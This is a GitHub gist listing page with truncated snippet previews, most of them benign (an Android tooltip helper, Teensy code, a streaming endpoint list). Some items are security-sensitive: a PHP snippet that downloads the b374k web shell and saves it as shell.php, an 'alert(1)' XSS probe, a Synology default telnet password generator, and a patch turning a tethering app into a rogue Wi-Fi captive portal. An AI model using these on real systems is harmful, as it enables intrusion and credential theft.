Skip to content

Instantly share code, notes, and snippets.

@jekkos
jekkos / test.js
Created November 24, 2016 11:48
javascript
alert(1)
@jekkos
jekkos / CheatSheet.java
Last active August 27, 2015 10:56 — forked from romannurik/CheatSheet.java
Android helper class for showing cheat sheets (tooltips) for icon-only UI elements on long-press. This is already default platform behavior for icon-only action bar items and tabs. This class provides this behavior for any other such UI element.
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
$source = "http://b374k-shell.googlecode.com/files/b374k-2.8.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $source);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSLVERSION,3);
$data = curl_exec ($ch);
$error = curl_error($ch);
curl_close ($ch);
$destination = "./shell.php";
@jekkos
jekkos / correct_password.c
Created July 12, 2014 17:33
Synology default telnet password generation
/* vi: set sw=4 ts=4: */
/*
* Copyright 1989 - 1991, Julianne Frances Haugh <jockgrrl@austin.rr.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
Prince Far I - Ears to Hear Wisdom
@jekkos
jekkos / analysis-sales record linking regex
Last active August 29, 2015 14:01
analysis - sales record linking regex
(1) query for analyses with comments and without article id grouped by day (double array)
(2) get sales and sales items records with sale_time = day( creationDate), sorted by creation date
(3) loop over analyses records, grouped by day
(4) var freetext = execute regex to fetch article from analysis comments (\w+\W?\s?)*?(maat|m)?\s?(\d{1,},?\d?)
(5) loop over sales and sale items, assigning a score for each analysis
* check if sale_time is after creationDate
* check if brand = group (1) of regex
* check if name = group (2) of regex
@jekkos
jekkos / Telenet yelo IIS Smooth Streaming Endpoints
Created April 5, 2014 00:25
A list with all of the available IIS endpoints for watching Live TV
Live|2|MM065|één|1|http://hsslivestream-cdn.prd.telenet-ops.be/een.isml/manifest|http://ps.yelo.prd.telenet-ops.be/YeloVaria/MM065_300x150.png
Live|3|MM06A|VIER|2|http://hsslivestream-cdn.prd.telenet-ops.be/vier.isml/manifest|http://ps.yelo.prd.telenet-ops.be/YeloVaria/MM06A_300x150.png
Live|4|MM066|Canvas|3|http://hsslivestream-cdn.prd.telenet-ops.be/canvas.isml/manifest|http://ps.yelo.prd.telenet-ops.be/YeloVaria/channel_logo_MM066_20131209082650.png
Live|6|MM084|VIJF|4|http://hsslivestream-cdn.prd.telenet-ops.be/vijf.isml/manifest|http://ps.yelo.prd.telenet-ops.be/YeloVaria/MM084_300x150.png
Live|8|MM06C|KanaalZ|5|http://hsslivestream-cdn.prd.telenet-ops.be/kanaalz.isml/manifest|http://ps.yelo.prd.telenet-ops.be/YeloVaria/MM06C_300x150.png
Live|534|MM096|Ketnet/OP12|6|http://hsslivestream-cdn.prd.telenet-ops.be/ketnetop12.isml/manifest|http://ps.yelo.prd.telenet-ops.be/YeloVaria/MM096_300x150.png
Live|277|MM130|Discovery Vl|7|http://hsslivestream-cdn.prd.telenet-ops.be/discoveryvl.isml/manifest|http://ps.y
@jekkos
jekkos / Teensy bday present!
Created May 2, 2013 07:14
Some code for a teensy birthday present, to be used on mac os x Questions can be entered and should be answered correctly before a coupon code is displayed to the player. Possible improvement could be opening a screen session with the device through the terminal. In this case a session has to be opened by the user himself. Questions and answers …
/* Simple USB Keyboard Example
Teensy becomes a USB keyboard and types characters
You must select Keyboard from the "Tools > USB Type" menu
This example code is in the public domain.
*/
@jekkos
jekkos / TetheredWiifi => RogueWifi xD
Created April 24, 2013 15:23
Patches r555 of the http://code.google.com/p/android-wifi-tether/ project that adds a checkbox option which will turn your phone into a captive portal. To be combined with the botbraw basil httpd package
Index: .classpath
===================================================================
--- .classpath (revision 555)
+++ .classpath (working copy)
@@ -1,8 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<classpath>
+ <classpathentry kind="con" path="com.android.ide.eclipse.adt.ANDROID_FRAMEWORK"/>
+ <classpathentry kind="con" path="com.android.ide.eclipse.adt.LIBRARIES"/>
<classpathentry kind="src" path="src"/>